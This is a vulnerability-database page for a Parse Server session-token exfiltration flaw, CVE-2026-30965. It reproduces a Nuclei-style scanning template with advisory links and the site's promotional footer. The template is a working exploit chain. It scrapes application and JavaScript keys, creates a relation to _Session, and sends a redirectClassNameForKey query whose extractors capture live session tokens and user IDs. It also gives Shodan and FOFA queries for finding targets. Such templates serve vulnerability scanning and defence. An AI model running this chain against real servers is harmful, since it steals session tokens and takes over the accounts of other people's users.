Parse Server < 8.6.21 / 9.x < 9.5.2 - Session Token Exfiltration
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2026-30965 | 10 Mar 202620:43 | – | attackerkb | |
| CVE-2026-30965 | 13 Aug 202609:00 | – | circl | |
| Parse Server 安全漏洞 | 10 Mar 202600:00 | – | cnnvd | |
| CVE-2026-30965 | 10 Mar 202620:43 | – | cve | |
| CVE-2026-30965 Parse Server session token exfiltration via `redirectClassNameForKey` query parameter | 10 Mar 202620:43 | – | cvelist | |
| EUVD-2026-10880 | 11 Mar 202600:20 | – | euvd | |
| EUVD-2026-10881 | 11 Mar 202600:20 | – | euvd | |
| Parse Server vulnerable to session token exfiltration via `redirectClassNameForKey` query parameter | 11 Mar 202600:20 | – | github | |
| CVE-2026-30965 | 10 Mar 202621:16 | – | nvd | |
| BIT-PARSE-2026-30965 Parse Server session token exfiltration via `redirectClassNameForKey` query parameter | 12 Mar 202614:48 | – | osv |
10
id: CVE-2026-30965
info:
name: Parse Server < 8.6.21 / 9.x < 9.5.2 - Session Token Exfiltration
author: str4k3r,0x_Akoko
severity: critical
description: |
Parse Server < 8.6.21 / 9.x < 9.5.2 contains an information disclosure vulnerability caused by improper handling of the redirectClassNameForKey query parameter, letting authenticated or unauthenticated attackers exfiltrate session tokens, exploit requires ability to create or update an object with a new relation field depending on Class-Level Permissions.
impact: |
Attackers can exfiltrate session tokens and take over user accounts, leading to account compromise.
remediation: |
Update to version 9.5.2-alpha.8 or 8.6.21 or later.
reference:
- https://github.com/parse-community/parse-server/security/advisories/GHSA-6r2j-cxgf-495f
- https://nvd.nist.gov/vuln/detail/CVE-2026-30965
- https://github.com/parse-community/parse-server/commit/70b7b070e1135949dd80ecf382f34db0bfdbb71e
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 9.9
cve-id: CVE-2026-30965
cwe-id: CWE-863
metadata:
verified: true
max-request: 5
vendor: parse-community
product: parse-server
shodan-query: '"X-Parse-Application-Id" OR http.html:"parseServerVersion"'
fofa-query: 'body="parseServerVersion" || header="X-Parse-Application-Id"'
tags: cve,cve2026,parse,parse-server,session-hijack,auth-bypass
variables:
cn: "{{to_lower(rand_text_alpha(8))}}"
flow: (http(1) || http(2)) && http(3) && http(4) && http(5)
http:
- raw:
- |
GET {{BaseURL}}/ HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: appid
internal: true
group: 1
regex:
- '(?:applicationId|appId|APP_ID|PARSE_APP_ID)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
- 'Parse\.initialize\("([A-Za-z0-9]{20,})"'
- 'X-Parse-Application-Id["\s:]+([A-Za-z0-9]{20,})'
- type: regex
name: jskey
internal: true
group: 1
regex:
- '(?:javascriptKey|javaScriptKey|jsKey|JS_KEY|PARSE_JS_KEY)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
- 'Parse\.initialize\("[A-Za-z0-9]+"\s*,\s*"([A-Za-z0-9]{20,})"'
matchers:
- type: dsl
dsl:
- 'len(appid) > 0'
- 'len(jskey) > 0'
condition: and
internal: true
- raw:
- |
GET {{BaseURL}}/index.js HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: appid
internal: true
group: 1
regex:
- '(?:applicationId|appId|APP_ID|PARSE_APP_ID)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
- 'Parse\.initialize\("([A-Za-z0-9]{20,})"'
- 'X-Parse-Application-Id["\s:]+([A-Za-z0-9]{20,})'
- type: regex
name: jskey
group: 1
regex:
- '(?:javascriptKey|javaScriptKey|jsKey|JS_KEY|PARSE_JS_KEY)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
- 'Parse\.initialize\("[A-Za-z0-9]+"\s*,\s*"([A-Za-z0-9]{20,})"'
internal: true
matchers:
- type: dsl
dsl:
- 'len(appid) > 0'
- 'len(jskey) > 0'
condition: and
internal: true
- raw:
- |
GET {{BaseURL}}/parse/health HTTP/1.1
Host: {{Hostname}}
X-Parse-Application-Id: {{appid}}
X-Parse-Javascript-Key: {{jskey}}
matchers:
- type: dsl
internal: true
condition: and
dsl:
- 'status_code == 200'
- 'contains(body, "ok")'
- raw:
- |
POST {{BaseURL}}/parse/classes/{{cn}} HTTP/1.1
Host: {{Hostname}}
X-Parse-Application-Id: {{appid}}
X-Parse-Javascript-Key: {{jskey}}
Content-Type: application/json
{"pivot":{"__op":"AddRelation","objects":[{"__type":"Pointer","className":"_Session","objectId":"{{cn}}"}]}}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
- 'contains(body, "objectId")'
condition: and
internal: true
- raw:
- |
GET {{BaseURL}}/parse/classes/{{cn}}?redirectClassNameForKey=pivot&limit=3 HTTP/1.1
Host: {{Hostname}}
X-Parse-Application-Id: {{appid}}
X-Parse-Javascript-Key: {{jskey}}
extractors:
- type: regex
name: session_tokens
group: 1
regex:
- '"sessionToken"\s*:\s*"(r:[a-f0-9]+)"'
- type: regex
name: user_ids
group: 1
regex:
- '"user":{"__type":"Pointer","className":"_User","objectId":"([A-Za-z0-9]+)"'
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "sessionToken", "results")'
condition: and
# digest: 4b0a00483046022100bd625cac8d90d7b696ef9119b75848e33932c24800759d5f807c3d88a9d71e690221009e7874f51896cac3a68ce42421d42006f655feed998c69a43c5a4c4536924733:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 21:42Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.19.1
CVSS 49.9
EPSS0.0036
SSVC